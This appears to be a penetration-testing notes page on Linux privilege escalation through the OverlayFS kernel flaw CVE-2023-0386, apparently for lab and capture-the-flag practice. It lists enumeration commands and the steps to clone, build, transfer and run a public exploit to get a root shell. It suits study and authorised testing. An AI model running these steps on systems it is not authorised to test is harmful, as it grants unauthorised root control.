> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/privesc/kernel-exploitation/overlayfs-kernel-exploit-linux-privilege-escalation.md). # Kernel Exploitation (OverlayFS) - Linux Privilege Escalation Kernel Exploitation (OverlayFS) notes for Linux privilege escalation, with enumeration steps, exploitation examples, and reporting-focused validation. ## What It Is Kernel privilege escalation targets local vulnerabilities in the Linux kernel or distribution-specific patches. These exploits can be unstable, so version validation and lab testing matter before execution. This specific page focuses on **Kernel Exploitation (OverlayFS)** and keeps the exploitation flow practical: identify the condition, validate it safely, then run the smallest payload needed to prove impact. ## Enumeration Start by confirming the local context and the exact misconfiguration before running the exploit path. ```bash uname -a cat /etc/os-release lsb_release -a 2>/dev/null ``` ## Examples ## CVE-2023-0386 OverlayFS Privilege Escalation > OverlayFS allows to overlay file systems. In some versions of the Linux kernel, poor capability management allows an unprivileged user to run code with **root privileges**. {% embed url="" %} **Operation stages** 1. **Cloner the exploit** from our local machine: ```bash git clone https://github.com/puckiestyle/CVE-2023-0386 cd CVE-2023-0386 make all ``` 2. **Transfer the compiled** files to the target machine (`scp`, `python -m http.server`, etc.).
2. **On the target machine**, run in **two terminals**: * Terminal A : ```bash ./fuse ./ovlcap/lower ./gc ``` * Terminal B : ```bash ./exp ``` If everything goes well, we get a shell **root**
### Flag root.txt :)
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